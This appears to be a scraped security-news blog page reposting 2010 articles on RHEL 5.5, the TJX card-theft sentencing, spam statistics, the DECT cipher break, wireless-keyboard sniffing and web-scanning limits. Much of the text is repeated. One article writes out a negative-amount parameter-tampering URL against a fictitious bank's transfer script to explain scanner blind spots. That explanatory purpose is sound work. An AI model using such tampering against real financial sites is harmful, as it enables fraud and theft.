Red Hat has pushed out another rev of its Linux variant. With Enterprise Linux 5.5, support for the latest processors from Advanced Micro Devices, Intel, and IBM has been back-ported to the Linux 2.6.18 at the heart of the RHEL 5 stack.
According to Tm Burke, vice president of platform engineering at Red Hat, the kernel in RHEL 5.5 has been improved, and it now includes features from more current Linux kernels, so it's not particularly fair to call it Linux 2.6.18. The point is that any application that was certified to run on Linux 2.6.18 or later, possibly many years ago, will work on RHEL 5.5 and still have support for new hardware like the Power7 processors from IBM that debuted back in February, the "Westmere-EP" Xeon 5600s from Intel that came out two weeks ago, the "Magny-Cours" Opteron 6100s from AMD that launched earlier this week, and the "Nehalem-EX" Xeon 7500s that were announced yesterday.
Because machines based on the Opteron 6100s, Xeon 7500, and Power7 processors all use a form of non-uniform memory access (NUMA) memory sharing across multiple processor sockets and also have multiple cores and caches inside sockets, RHEL 5.5 includes a lot of work that makes the operating system very aware of the system topology so memory allocation and job scheduling is done such that instruction streams and their data are placed as close together as possible. The kernel also has tweaks that try to cram as much work on as few cores as possible, allowing for servers to conserve power as they dial down or quiesce cores in the systems.
The updated RHEL also has a lot of I/O optimizations to take advantage of virtual I/O hardware features in the most current x64 and Power processors, which cuts down on I/O overhead in virtualized environments. In I/O-heavy virtualized workloads where the I/O was virtualized in software, rather than on the chip, the I/O overhead could be as high as 30 per cent, which is unacceptable.
Burke says that with these tweaks for I/O virtualization, which include a feature called Single Root I/O Virtualization (SR-IOV), a guest operating system running inside either a Xen or KVM hypervisor embedded in RHEL 5.5 can drive a 10 Gigabit Ethernet adapter card to its saturation point, and Burke claims this is the only hypervisor environment today that can do this. (That won't last for long, with RHEL being open source).
While the freestanding KVM hypervisor at the heart of the Red Hat Enterprise Virtualization, or RHEV, product was updated with a beta of its own 2.2 release using the RHEL 5.5 kernel earlier this week, RHEL 5.5 is available today and supports fatter guest virtual machines. The RHEV 2.2 beta can support 16 virtual CPUs and up to 256 GB of memory per guest, but RHEL 5.5 can support 32 physical processor cores and up to 512 GB of memory on either a Xen or KVM guest.
The bare-metal RHEL 5.5 kernel can support up to 1 TB of physical memory and can support well beyond the current top-end 64 sockets delivered today in eight-way Xeon 7500 systems. The open source community has already figured out how to do 512-core NUMA systems for the Itanium chips and is leveraging this work as x64 architectures get fatter. The RHEL 5 kernel has a stunning theoretical maximum of 32,000 threads that it can support, which is well beyond anything any server maker can put into the field in a single system image. Later this year, IBM's top-end Power 795 systems will have 32 sockets with a total of 256 cores and 1,024 threads.
The largest general-purpose Xeon 7500 machines will have maybe 64-sockets, which means 512 cores and 1,024 threads, and it looks like Itanium 9300 machines will probably top out at 64 sockets as well, but those quad-core chips only have eight threads, so that's a maximum of 512 threads. AMD is topped out at 40 threads in four-socket boxes with the Opteron 6100s. That will barely tickle the limits of RHEL 5.5.
By the way, RHEL 4 is not getting support for all this new iron, since Red Hat stopped doing major backporting to this early RHEL version six months ago. At some point, says Burke, the changes that would be necessary make new hardware work on the older versions without breaking application compatibility would involve way too much work or not be possible at all.
In general, a RHEL version gets three years of cutting-edge hardware support (roughly updated every six months), one year of transitional support where major hardware enablement and driver work is done, but perhaps not the greatest amount of tuning, and then three years where the version is in maintenance mode, with bug fixes and security patches. The expectation is that RHEL 5 will have a couple more years of hardware maintenance, but it really depends on how radical the hardware changes are in the future. If the changes are too radical, RHEL 5 gets sent to pasture sooner.
In addition to the updated hardware support, RHEL 5.5 has pulled in OpenOffice 3.1, which has better compatibility with Microsoft's Office 2007 formats, and the Samba print and file server has been updated to work with Windows 7. The SystemTap dynamic tracing tool that is part of the development stack in RHEL has also been enhanced so it can probe and poke C++ applications, rather than just C apps. The GDB debugger also has better support for C++ applications in that it allows developers to debug one thread at a time instead of having to suspend all threads in C++ code at the same time.
Showing posts with label security. Show all posts
Showing posts with label security. Show all posts
Friday, April 2, 2010
Hacker's record credit card theft fetches 20-year sentence
Confessed TJX hacker Albert Gonzalez was sentenced to 20 years in federal prison for orchestrating one of the largest thefts of payment card numbers in history.
The sentence, by US District Court Judge Patti Saris, is the lengthiest to be imposed in a US hacking or identity prosecution. Miami-based Gonzalez was also fined $25,000 and still faces restitution charges that could be in the tens of millions of dollars.
Prosecutors told the judge Gonzalez should receive 25 years because he victimized millions of people and cost banks and their insurers as much as $200m. His attorney, Martin Weinberg, challenged that estimate and presented evidence his client suffered from Asperger's Syndrome, a form of autism.
Last year, Gonzalez pleaded guilty in three separate cases brought in Massachusetts, New Jersey and New York. Thursday's sentence in Boston dealt only with the Massachusetts case. A hearing scheduled for Friday will deal with the other two prosecutions.
Prosecutors said Gonzalez led a gang of hackers who conducted war-driving campaigns that identified retailers with weak wireless networks. They then penetrated those networks and installed sniffer programs that siphoned millions of credit and debit card numbers as they were being zapped to payment processors.
The operation targeted a variety of retailers and restaurants including TJX Cos. and BJ's Wholesale Club, Office Max, Barnes & Noble and Dave & Busters restaurant chain. Thursday's sentence came the same day Dave & Busters agreed to implement a comprehensive security program to settle US Federal Trade Commission charges the restaurant left consumers vulnerable to credit card thieves.
source : theregister.co.uk
The sentence, by US District Court Judge Patti Saris, is the lengthiest to be imposed in a US hacking or identity prosecution. Miami-based Gonzalez was also fined $25,000 and still faces restitution charges that could be in the tens of millions of dollars.
Prosecutors told the judge Gonzalez should receive 25 years because he victimized millions of people and cost banks and their insurers as much as $200m. His attorney, Martin Weinberg, challenged that estimate and presented evidence his client suffered from Asperger's Syndrome, a form of autism.
Last year, Gonzalez pleaded guilty in three separate cases brought in Massachusetts, New Jersey and New York. Thursday's sentence in Boston dealt only with the Massachusetts case. A hearing scheduled for Friday will deal with the other two prosecutions.
Prosecutors said Gonzalez led a gang of hackers who conducted war-driving campaigns that identified retailers with weak wireless networks. They then penetrated those networks and installed sniffer programs that siphoned millions of credit and debit card numbers as they were being zapped to payment processors.
The operation targeted a variety of retailers and restaurants including TJX Cos. and BJ's Wholesale Club, Office Max, Barnes & Noble and Dave & Busters restaurant chain. Thursday's sentence came the same day Dave & Busters agreed to implement a comprehensive security program to settle US Federal Trade Commission charges the restaurant left consumers vulnerable to credit card thieves.
source : theregister.co.uk
Hackers hit where they live
The countries of hackers originating malware-laced spam runs have been exposed by new research, which confirms they are often located thousands of miles away from the compromised systems they use to send out junk mail.
A third of targeted malware attacks sent so far in March came from the United States (36.6 per cent), based on mail server location. However, after the sender's actual location is analysed, more targeted attacks actually began in China (28.2 per cent) and Romania (21.1 per cent) than the US (13.8 percent), according to the March 2010 edition of the monthly MessageLabs security report.
Paul Wood, MessageLabs intelligence senior analyst, explained the discrepancy: “A large proportion of targeted attacks are sent from legitimate webmail accounts which are located in the US and therefore, the IP address of the sending mail server is not a useful indicator of the true origin of the attack.
"Analysis of the sender’s IP address, rather than the IP address of the email server, reveals the true source of these targeted attacks.”
Further analysis of targeted attacks shows people at the sharp end of targeted malware attacks are responsible for foreign trade and defence policy, especially in relation to Asian countries. Virus activity in Taiwan was one in 90.9 emails, making it the most targeted country for email-borne malware in March. By comparison, one in 552 emails sent to US mailboxes came laced with malware.
Meanwhile, one in 77.1 emails sent to public sector mailboxes were blocked as malicious by MessageLabs.
The worldwide ratio of email-borne viruses to regular email traffic was one in 358.3 emails (0.28 per cent) in March, an decrease of 0.05 percentage points since February. In March 16.8 percent of email-borne malware contained links to malicious websites, a big decrease of 13.7 percentage points since February.
Spam rates after connections to known black spots were taken out of the picture reached 90.7 per cent, an increase of 1.5 percentage points since February. The vast majority of these junk mail messages came from compromised malware-infested networks of zombie PCs (aka botnets) MessageLabs reports that 77 per cent of spam sent from the Rustock botnet this month used secure TLS connections.
The average additional inbound and outbound traffic due to TLS requires an overhead of around 1KB, smaller than the average size of spam emails, and putting an added strain on already pressured email servers. Spam sent using TLS accounted for approximately 20 per cent of all junk mail so far in March, peaking at 35 per cent on March 10.
“TLS is a popular way of sending email through an encrypted channel," Wood said. “However, it uses far more server resources and is much slower than plain-text email and requires both inbound and outbound traffic. The outbound traffic frequently outweighs the size of the spam message itself and can significantly tax the workload on corporate email servers.”
source : theregister.co.uk
A third of targeted malware attacks sent so far in March came from the United States (36.6 per cent), based on mail server location. However, after the sender's actual location is analysed, more targeted attacks actually began in China (28.2 per cent) and Romania (21.1 per cent) than the US (13.8 percent), according to the March 2010 edition of the monthly MessageLabs security report.
Paul Wood, MessageLabs intelligence senior analyst, explained the discrepancy: “A large proportion of targeted attacks are sent from legitimate webmail accounts which are located in the US and therefore, the IP address of the sending mail server is not a useful indicator of the true origin of the attack.
"Analysis of the sender’s IP address, rather than the IP address of the email server, reveals the true source of these targeted attacks.”
Further analysis of targeted attacks shows people at the sharp end of targeted malware attacks are responsible for foreign trade and defence policy, especially in relation to Asian countries. Virus activity in Taiwan was one in 90.9 emails, making it the most targeted country for email-borne malware in March. By comparison, one in 552 emails sent to US mailboxes came laced with malware.
Meanwhile, one in 77.1 emails sent to public sector mailboxes were blocked as malicious by MessageLabs.
The worldwide ratio of email-borne viruses to regular email traffic was one in 358.3 emails (0.28 per cent) in March, an decrease of 0.05 percentage points since February. In March 16.8 percent of email-borne malware contained links to malicious websites, a big decrease of 13.7 percentage points since February.
Spam rates after connections to known black spots were taken out of the picture reached 90.7 per cent, an increase of 1.5 percentage points since February. The vast majority of these junk mail messages came from compromised malware-infested networks of zombie PCs (aka botnets) MessageLabs reports that 77 per cent of spam sent from the Rustock botnet this month used secure TLS connections.
The average additional inbound and outbound traffic due to TLS requires an overhead of around 1KB, smaller than the average size of spam emails, and putting an added strain on already pressured email servers. Spam sent using TLS accounted for approximately 20 per cent of all junk mail so far in March, peaking at 35 per cent on March 10.
“TLS is a popular way of sending email through an encrypted channel," Wood said. “However, it uses far more server resources and is much slower than plain-text email and requires both inbound and outbound traffic. The outbound traffic frequently outweighs the size of the spam message itself and can significantly tax the workload on corporate email servers.”
source : theregister.co.uk
Microscope-wielding boffins crack cordless phone crypto DECT vivisection
Cryptographers have broken the proprietary encryption used to prevent eavesdropping on more than 800 million cordless phones worldwide, demonstrating once again the risks of relying on obscure technologies to remain secure.
The attack is the first to crack the cipher at the heart of the DECT, or Digital Enhanced Cordless Telecommunications, standard, which encrypts radio signals as they travel between cordless phones in homes and businesses and corresponding base stations. A previous hack, by contrast, merely exploited weaknesses in the way the algorithm was implemented.
The fatal flaw in the DECT Standard Cipher is its insufficient amount of "pre-ciphering," which is the encryption equivalent of shaking a cup of dice to make sure they generate unpredictable results. Because the algorithm discards only the first 40 or 80 bits during the encryption process, it's possible to deduce the secret key after collecting and analyzing enough of the protected conversation.
"This standard, as with everything else we have broken, has been designed some 20 years ago, and it is proprietary encryption," said Karsten Nohl, one of the cryptographers who helped devise the attack. "It relied on the fact that the encryption was unknown and hence could not be broken. This is a case where something that has some potential for being strong is broken by just this one design decision that in any public review would have been spotted immediately."
Nohl, 28, is the same University of Virginia microscope-wielding reverse engineer to crack the encryption in the world's most widely used smartcard. In December, he struck again after devising a practical attack for eavesdropping on cellphone calls.
He and fellow researchers Erik Tews of the Darmstadt University of Technology and Ralf-Philipp Weinmann of the University of Luxembourg, plan to present their findings Monday at the 2010 Fast Software Encryption workshop in Korea.
Like several of Nohl's previous hacks, it began with nitric acid and an electron optical microscope. After dissolving away the epoxy on the silicon chip and then shaving down and magnifying the section dedicated to the DECT encryption, he was able to glean key insights into the underlying algorithm. He then compared the findings against details selectively laid out in a patent and exposed during a debug process.
The results of all three probe methods revealed the fatally insufficient amount of pre-ciphering in the DECT Standard Cipher.
In practical terms, the attack works by collecting bits of the encrypted data stream with known unencrypted contents. In cordless phones, this often comes from a device's control channel, which broadcasts a variety of predictable data, including call duration and button responses. Sniffing an encrypted conversation with a USRP antenna and the average PC, an attacker would need to collect about four hours of data to break the key in typical scenarios.
In others - such as where DECT is used in restaurants and bars to wirelessly zap payment card details - the time needed to crack the key could be dramatically shorter, Nohl said. The time can also be sped up in a variety of other ways, including by adding certain types of graphics cards to beef up the power of the attacking PC. In some cases, the attack can retrieve the secret key in 10 minutes.
"We expect that some smarter cryptographers than ourselves will find better attacks, of course," Nohl told El Reg. "We found the algorithm and then implemented the first attack. It's almost guaranteed that this is not the best attack."
The DECT Forum, the international body that oversees the standard, said it takes the attack scenarios laid out in the paper seriously and "continues to investigate their applicability."
The crack of DECT is only the latest time Nohl has defeated the proprietary encryption of a device with critical mass. His 2008 attack on the Mifare Classic smartcard used similar techniques of filing down a silicon chip and then tracing the connections between transistors. His proposed attack of GSM encryption affects cellphones used by more than 800 carriers in 219 countries.
The attack is the first to crack the cipher at the heart of the DECT, or Digital Enhanced Cordless Telecommunications, standard, which encrypts radio signals as they travel between cordless phones in homes and businesses and corresponding base stations. A previous hack, by contrast, merely exploited weaknesses in the way the algorithm was implemented.
The fatal flaw in the DECT Standard Cipher is its insufficient amount of "pre-ciphering," which is the encryption equivalent of shaking a cup of dice to make sure they generate unpredictable results. Because the algorithm discards only the first 40 or 80 bits during the encryption process, it's possible to deduce the secret key after collecting and analyzing enough of the protected conversation.
"This standard, as with everything else we have broken, has been designed some 20 years ago, and it is proprietary encryption," said Karsten Nohl, one of the cryptographers who helped devise the attack. "It relied on the fact that the encryption was unknown and hence could not be broken. This is a case where something that has some potential for being strong is broken by just this one design decision that in any public review would have been spotted immediately."
Nohl, 28, is the same University of Virginia microscope-wielding reverse engineer to crack the encryption in the world's most widely used smartcard. In December, he struck again after devising a practical attack for eavesdropping on cellphone calls.
He and fellow researchers Erik Tews of the Darmstadt University of Technology and Ralf-Philipp Weinmann of the University of Luxembourg, plan to present their findings Monday at the 2010 Fast Software Encryption workshop in Korea.
Like several of Nohl's previous hacks, it began with nitric acid and an electron optical microscope. After dissolving away the epoxy on the silicon chip and then shaving down and magnifying the section dedicated to the DECT encryption, he was able to glean key insights into the underlying algorithm. He then compared the findings against details selectively laid out in a patent and exposed during a debug process.
The results of all three probe methods revealed the fatally insufficient amount of pre-ciphering in the DECT Standard Cipher.
In practical terms, the attack works by collecting bits of the encrypted data stream with known unencrypted contents. In cordless phones, this often comes from a device's control channel, which broadcasts a variety of predictable data, including call duration and button responses. Sniffing an encrypted conversation with a USRP antenna and the average PC, an attacker would need to collect about four hours of data to break the key in typical scenarios.
In others - such as where DECT is used in restaurants and bars to wirelessly zap payment card details - the time needed to crack the key could be dramatically shorter, Nohl said. The time can also be sped up in a variety of other ways, including by adding certain types of graphics cards to beef up the power of the attacking PC. In some cases, the attack can retrieve the secret key in 10 minutes.
"We expect that some smarter cryptographers than ourselves will find better attacks, of course," Nohl told El Reg. "We found the algorithm and then implemented the first attack. It's almost guaranteed that this is not the best attack."
The DECT Forum, the international body that oversees the standard, said it takes the attack scenarios laid out in the paper seriously and "continues to investigate their applicability."
The crack of DECT is only the latest time Nohl has defeated the proprietary encryption of a device with critical mass. His 2008 attack on the Mifare Classic smartcard used similar techniques of filing down a silicon chip and then tracing the connections between transistors. His proposed attack of GSM encryption affects cellphones used by more than 800 carriers in 219 countries.
Open Source Keykeriki Captures Wireless Keyboard Traffic
Another interesting attack, rather than going after the PC/Server this one goes after the data sent by wireless devices such as the wireless keyboards sold by Microsoft. The neat thing is by using a replay attack you could also send rogue inputs to the device.
But then it serves Microsoft right for using XOR encryption for the data-steams, which can very easily be broken using frequency analysis.
Security researchers on Friday unveiled an open-source device that captures the traffic of a wide variety of wireless devices, including keyboards, medical devices, and remote controls.
Keykeriki version 2 captures the entire data stream sent between wireless devices using a popular series of chips made by Norway-based Nordic Semiconductor. That includes the device addresses and the raw payload being sent between them. The open-source package was developed by researchers of Switzerland-based Dreamlab Technologies and includes complete software, firmware, and schematics for building the $100 sniffer.
Keykeriki not only allows researchers or attackers to capture the entire layer 2 frames, it also allows them to send their own unauthorized payloads. That means devices that don’t encrypt communications – or don’t encrypt them properly – can be forced to cough up sensitive communications or be forced to execute rogue commands.
It’ll be interesting to see what other kinds of devices they can successfully use this data capture technique on. Keyboards are one thing, and I’d imagine the transmission range of a wireless keyboard is fairly limited so you or the sniffing device would have to be physically near to the target.
At least Logitech seem to have stepped up the security a bit by using AES-128 for the transmission on their wireless keyboards, but the researchers say they still may be able to crack it due to the way the secret keys are exchanged.
Again most likely not an algorithm problem but an issue with the implementation.
At the CanSecWest conference in Vancouver, Dreamlab Senior Security Expert Thorsten Schroder demonstrated how Keykeriki could be used to attack wireless keyboards sold by Microsoft. The exploit worked because communications in the devices are protected by a weak form of encryption known as xor, which is trivial to break. As a result, he was able to intercept keyboard strokes as they were typed and to remotely send input that executed commands on the attached computer.
“Microsoft made it easy for us because they used their own proprietary crypto,” Schroder said. “Xor is not a very proper way to secure data.”
Even when devices employ strong cryptography, Schroder said Keykeriki may still be able to remotely send unauthorized commands using a technique known as a replay attack, in which commands sent previously are recorded and then sent again.
News time is always fun during conference season due to the fact all these interesting and new attacks and vectors are released for public consumption – generally along with code and examples.
If they can use the same techniques to own more interesting devices with more sensitive data, things could certainly get a little more heated.
source : darknet.org.uk
But then it serves Microsoft right for using XOR encryption for the data-steams, which can very easily be broken using frequency analysis.
Security researchers on Friday unveiled an open-source device that captures the traffic of a wide variety of wireless devices, including keyboards, medical devices, and remote controls.
Keykeriki version 2 captures the entire data stream sent between wireless devices using a popular series of chips made by Norway-based Nordic Semiconductor. That includes the device addresses and the raw payload being sent between them. The open-source package was developed by researchers of Switzerland-based Dreamlab Technologies and includes complete software, firmware, and schematics for building the $100 sniffer.
Keykeriki not only allows researchers or attackers to capture the entire layer 2 frames, it also allows them to send their own unauthorized payloads. That means devices that don’t encrypt communications – or don’t encrypt them properly – can be forced to cough up sensitive communications or be forced to execute rogue commands.
It’ll be interesting to see what other kinds of devices they can successfully use this data capture technique on. Keyboards are one thing, and I’d imagine the transmission range of a wireless keyboard is fairly limited so you or the sniffing device would have to be physically near to the target.
At least Logitech seem to have stepped up the security a bit by using AES-128 for the transmission on their wireless keyboards, but the researchers say they still may be able to crack it due to the way the secret keys are exchanged.
Again most likely not an algorithm problem but an issue with the implementation.
At the CanSecWest conference in Vancouver, Dreamlab Senior Security Expert Thorsten Schroder demonstrated how Keykeriki could be used to attack wireless keyboards sold by Microsoft. The exploit worked because communications in the devices are protected by a weak form of encryption known as xor, which is trivial to break. As a result, he was able to intercept keyboard strokes as they were typed and to remotely send input that executed commands on the attached computer.
“Microsoft made it easy for us because they used their own proprietary crypto,” Schroder said. “Xor is not a very proper way to secure data.”
Even when devices employ strong cryptography, Schroder said Keykeriki may still be able to remotely send unauthorized commands using a technique known as a replay attack, in which commands sent previously are recorded and then sent again.
News time is always fun during conference season due to the fact all these interesting and new attacks and vectors are released for public consumption – generally along with code and examples.
If they can use the same techniques to own more interesting devices with more sensitive data, things could certainly get a little more heated.
source : darknet.org.uk
Automated Scanning vs the OWASP Top Ten
The OWASP Top Ten is a list of the most critical website security flaws – a list also often used as a minimum standard for website vulnerability assessment (VA) and compliance. There is an ongoing industry dialog about the possibility of identifying the OWASP Top Ten in a purely automated fashion (scanning). People frequently ask what can and can’t be found using either white box or black box scanners. This is important because a single missed vulnerability, or more accurately exploited vulnerability, can cause an organization significant financial harm. Proper expectations must be set when it comes to the various vulnerability assessment solutions.
For our part, WhiteHat Security is in the website security business and provides a vulnerability management service. Our Sentinel Service incorporates expert analysis with proprietary scanning technology. Using a black box process, we assess hundreds of websites a month, more than anyone in the industry. What we’ve come to understand is that a significant portion of vulnerabilities are virtually impossible for scanners to find. By the same token, even the most seasoned Web security experts cannot find many issues in a reliable and consistent manner. To achieve full vulnerability coverage and therefore complete vulnerability management, we must rely on a combination and integration of both methods.
We’d like to share some of our experiences that led to this conclusion. Using situations we’ve seen in the real world, and the OWASP Top Ten as a baseline, we’ll demonstrate why scanning technology alone cannot find the OWASP Top Ten. To begin, we’ll focus on a single feature of a fictitious Web Bank responsible for funds transfers from one account to another account. Here is the full URL:
http://server/transfer.cgi?from_acct=1235813&to_acct=31415&amount=
1000.00&session=1001
The “from_acct” is the current user’s account number. “to_acct” is where the money should be sent. “Amount” is obviously the transfer amount, and the “session” is the authenticated session ID after having properly logged-in. This is a fairly typical and straightforward business process.
Unvalidated Input
Scanners must hazard a guess about what “transfer.cgi” does. Otherwise, it would be impossible to determine what it should NOT do.
A website security expert can easily figure this out, but scanners aren’t equipped with that intelligence: There is no knowledge of or appreciation for context. For the sake of discussion, let’s say a scanner has the ability, because there’s a dollar figure present and the “transfer” keyword in the URL might help it decide that this feature moves money. Realistically, these parameter names could be anything and are often far more cryptic. To attempt a classic funds transfer attack, let’s change the above URL substituting the “1000.00” amount to “-1000.00.”
Negative Amount Example:
http://server/transfer.cgi?from_acct=1235813&to_acct=31415&amount=-1000.00&session=1001
By transferring a negative amount, this custom Web application would potentially deduct money from the target account instead of adding to it! The challenge for a scanner is being able to decide whether or not the attack succeeded. How would it tell?
If the fraudulent transfer succeeded, the website might respond with, “Success, would you like to make another transaction?,” “Transfer will take place by 9 AM tomorrow,” “Request received, thank you,” or any number of possible affirmations. If the attack failed, “Transfer failed,” “Error: Transfer amount must be a positive number,” or, “Bank robbery detected, men with guns have been dispatched to your location!” Every custom Web Bank application will likely respond in a different manner. That’s precisely the problem! Pre-programming all the possible keyword phrases or behavioral aspects is simply unfeasible and for all mathematical provability, impossible. However, human gray matter (or, a crack website security operations team) can make this determination.
For our part, WhiteHat Security is in the website security business and provides a vulnerability management service. Our Sentinel Service incorporates expert analysis with proprietary scanning technology. Using a black box process, we assess hundreds of websites a month, more than anyone in the industry. What we’ve come to understand is that a significant portion of vulnerabilities are virtually impossible for scanners to find. By the same token, even the most seasoned Web security experts cannot find many issues in a reliable and consistent manner. To achieve full vulnerability coverage and therefore complete vulnerability management, we must rely on a combination and integration of both methods.
We’d like to share some of our experiences that led to this conclusion. Using situations we’ve seen in the real world, and the OWASP Top Ten as a baseline, we’ll demonstrate why scanning technology alone cannot find the OWASP Top Ten. To begin, we’ll focus on a single feature of a fictitious Web Bank responsible for funds transfers from one account to another account. Here is the full URL:
http://server/transfer.cgi?from_acct=1235813&to_acct=31415&amount=
1000.00&session=1001
The “from_acct” is the current user’s account number. “to_acct” is where the money should be sent. “Amount” is obviously the transfer amount, and the “session” is the authenticated session ID after having properly logged-in. This is a fairly typical and straightforward business process.
Unvalidated Input
Scanners must hazard a guess about what “transfer.cgi” does. Otherwise, it would be impossible to determine what it should NOT do.
A website security expert can easily figure this out, but scanners aren’t equipped with that intelligence: There is no knowledge of or appreciation for context. For the sake of discussion, let’s say a scanner has the ability, because there’s a dollar figure present and the “transfer” keyword in the URL might help it decide that this feature moves money. Realistically, these parameter names could be anything and are often far more cryptic. To attempt a classic funds transfer attack, let’s change the above URL substituting the “1000.00” amount to “-1000.00.”
Negative Amount Example:
http://server/transfer.cgi?from_acct=1235813&to_acct=31415&amount=-1000.00&session=1001
By transferring a negative amount, this custom Web application would potentially deduct money from the target account instead of adding to it! The challenge for a scanner is being able to decide whether or not the attack succeeded. How would it tell?
If the fraudulent transfer succeeded, the website might respond with, “Success, would you like to make another transaction?,” “Transfer will take place by 9 AM tomorrow,” “Request received, thank you,” or any number of possible affirmations. If the attack failed, “Transfer failed,” “Error: Transfer amount must be a positive number,” or, “Bank robbery detected, men with guns have been dispatched to your location!” Every custom Web Bank application will likely respond in a different manner. That’s precisely the problem! Pre-programming all the possible keyword phrases or behavioral aspects is simply unfeasible and for all mathematical provability, impossible. However, human gray matter (or, a crack website security operations team) can make this determination.
Automated Scanning vs the OWASP Top Ten
The OWASP Top Ten is a list of the most critical website security flaws – a list also often used as a minimum standard for website vulnerability assessment (VA) and compliance. There is an ongoing industry dialog about the possibility of identifying the OWASP Top Ten in a purely automated fashion (scanning). People frequently ask what can and can’t be found using either white box or black box scanners. This is important because a single missed vulnerability, or more accurately exploited vulnerability, can cause an organization significant financial harm. Proper expectations must be set when it comes to the various vulnerability assessment solutions.
For our part, WhiteHat Security is in the website security business and provides a vulnerability management service. Our Sentinel Service incorporates expert analysis with proprietary scanning technology. Using a black box process, we assess hundreds of websites a month, more than anyone in the industry. What we’ve come to understand is that a significant portion of vulnerabilities are virtually impossible for scanners to find. By the same token, even the most seasoned Web security experts cannot find many issues in a reliable and consistent manner. To achieve full vulnerability coverage and therefore complete vulnerability management, we must rely on a combination and integration of both methods.
We’d like to share some of our experiences that led to this conclusion. Using situations we’ve seen in the real world, and the OWASP Top Ten as a baseline, we’ll demonstrate why scanning technology alone cannot find the OWASP Top Ten. To begin, we’ll focus on a single feature of a fictitious Web Bank responsible for funds transfers from one account to another account. Here is the full URL:
http://server/transfer.cgi?from_acct=1235813&to_acct=31415&amount=
1000.00&session=1001
The “from_acct” is the current user’s account number. “to_acct” is where the money should be sent. “Amount” is obviously the transfer amount, and the “session” is the authenticated session ID after having properly logged-in. This is a fairly typical and straightforward business process.
Unvalidated Input
Scanners must hazard a guess about what “transfer.cgi” does. Otherwise, it would be impossible to determine what it should NOT do.
A website security expert can easily figure this out, but scanners aren’t equipped with that intelligence: There is no knowledge of or appreciation for context. For the sake of discussion, let’s say a scanner has the ability, because there’s a dollar figure present and the “transfer” keyword in the URL might help it decide that this feature moves money. Realistically, these parameter names could be anything and are often far more cryptic. To attempt a classic funds transfer attack, let’s change the above URL substituting the “1000.00” amount to “-1000.00.”
Negative Amount Example:
http://server/transfer.cgi?from_acct=1235813&to_acct=31415&amount=-1000.00&session=1001
By transferring a negative amount, this custom Web application would potentially deduct money from the target account instead of adding to it! The challenge for a scanner is being able to decide whether or not the attack succeeded. How would it tell?
If the fraudulent transfer succeeded, the website might respond with, “Success, would you like to make another transaction?,” “Transfer will take place by 9 AM tomorrow,” “Request received, thank you,” or any number of possible affirmations. If the attack failed, “Transfer failed,” “Error: Transfer amount must be a positive number,” or, “Bank robbery detected, men with guns have been dispatched to your location!” Every custom Web Bank application will likely respond in a different manner. That’s precisely the problem! Pre-programming all the possible keyword phrases or behavioral aspects is simply unfeasible and for all mathematical provability, impossible. However, human gray matter (or, a crack website security operations team) can make this determination.
For our part, WhiteHat Security is in the website security business and provides a vulnerability management service. Our Sentinel Service incorporates expert analysis with proprietary scanning technology. Using a black box process, we assess hundreds of websites a month, more than anyone in the industry. What we’ve come to understand is that a significant portion of vulnerabilities are virtually impossible for scanners to find. By the same token, even the most seasoned Web security experts cannot find many issues in a reliable and consistent manner. To achieve full vulnerability coverage and therefore complete vulnerability management, we must rely on a combination and integration of both methods.
We’d like to share some of our experiences that led to this conclusion. Using situations we’ve seen in the real world, and the OWASP Top Ten as a baseline, we’ll demonstrate why scanning technology alone cannot find the OWASP Top Ten. To begin, we’ll focus on a single feature of a fictitious Web Bank responsible for funds transfers from one account to another account. Here is the full URL:
http://server/transfer.cgi?from_acct=1235813&to_acct=31415&amount=
1000.00&session=1001
The “from_acct” is the current user’s account number. “to_acct” is where the money should be sent. “Amount” is obviously the transfer amount, and the “session” is the authenticated session ID after having properly logged-in. This is a fairly typical and straightforward business process.
Unvalidated Input
Scanners must hazard a guess about what “transfer.cgi” does. Otherwise, it would be impossible to determine what it should NOT do.
A website security expert can easily figure this out, but scanners aren’t equipped with that intelligence: There is no knowledge of or appreciation for context. For the sake of discussion, let’s say a scanner has the ability, because there’s a dollar figure present and the “transfer” keyword in the URL might help it decide that this feature moves money. Realistically, these parameter names could be anything and are often far more cryptic. To attempt a classic funds transfer attack, let’s change the above URL substituting the “1000.00” amount to “-1000.00.”
Negative Amount Example:
http://server/transfer.cgi?from_acct=1235813&to_acct=31415&amount=-1000.00&session=1001
By transferring a negative amount, this custom Web application would potentially deduct money from the target account instead of adding to it! The challenge for a scanner is being able to decide whether or not the attack succeeded. How would it tell?
If the fraudulent transfer succeeded, the website might respond with, “Success, would you like to make another transaction?,” “Transfer will take place by 9 AM tomorrow,” “Request received, thank you,” or any number of possible affirmations. If the attack failed, “Transfer failed,” “Error: Transfer amount must be a positive number,” or, “Bank robbery detected, men with guns have been dispatched to your location!” Every custom Web Bank application will likely respond in a different manner. That’s precisely the problem! Pre-programming all the possible keyword phrases or behavioral aspects is simply unfeasible and for all mathematical provability, impossible. However, human gray matter (or, a crack website security operations team) can make this determination.
10 Steps to Protect your Websites from SQL Injection Attacks
Data theft has become so common that the price of a stolen credit card number in the black market has fallen from $10 in 2006 to a few pennies in 2009. Consumers are losing confidence in ecommerce, online banking and other electronic means of doing business. Meanwhile, attackers are devising even more clever ways to steal data and increasing numbers of companies are falling prey to those techniques. Legal and compliance requirements are getting stricter to protect the consumer, but still new incidents are on the rise in 2009. In a recent Verizon Business Data Breach Investigations Report1, studying over 600 incidents in the past five years, SQL Injection was identified as the single largest attack vector responsible for data theft
This finding is not surprising. Given the way Web applications are designed, it is very common for SQL injection attacks to occur without a company’s knowledge. Often, it is only when the credit card companies such as VISA and American Express notify the victimized company, that they learn about the hack and by then, it’s too late.
SQL injection attacks have the potential to cause significant and costly damage to an organization. They are targeted at the database, which stores sensitive information including employee and customer data. This type of attack exploits vulnerabilities in your application and manipulates the SQL queries in the application via input from the Web browser.
In a SQL injection attack, a malicious user can send arbitrary input to the server and trick the Web application into generating a different SQL statement than was originally intended. As a result, the SQL, when executed, fetches a different set of results from the database than the application would have originally requested. SQL injection attacks are most frequently used to gain unauthorized access to, or manipulate the data residing in, the database on the server.
Much has already been written about how SQL injection attacks are performed. The focus here is to prevent the attacks in the first place. Following are 10 steps that both developers and database administrators can take to prevent applications from being vulnerable to SQL injection attacks.
This finding is not surprising. Given the way Web applications are designed, it is very common for SQL injection attacks to occur without a company’s knowledge. Often, it is only when the credit card companies such as VISA and American Express notify the victimized company, that they learn about the hack and by then, it’s too late.
SQL injection attacks have the potential to cause significant and costly damage to an organization. They are targeted at the database, which stores sensitive information including employee and customer data. This type of attack exploits vulnerabilities in your application and manipulates the SQL queries in the application via input from the Web browser.
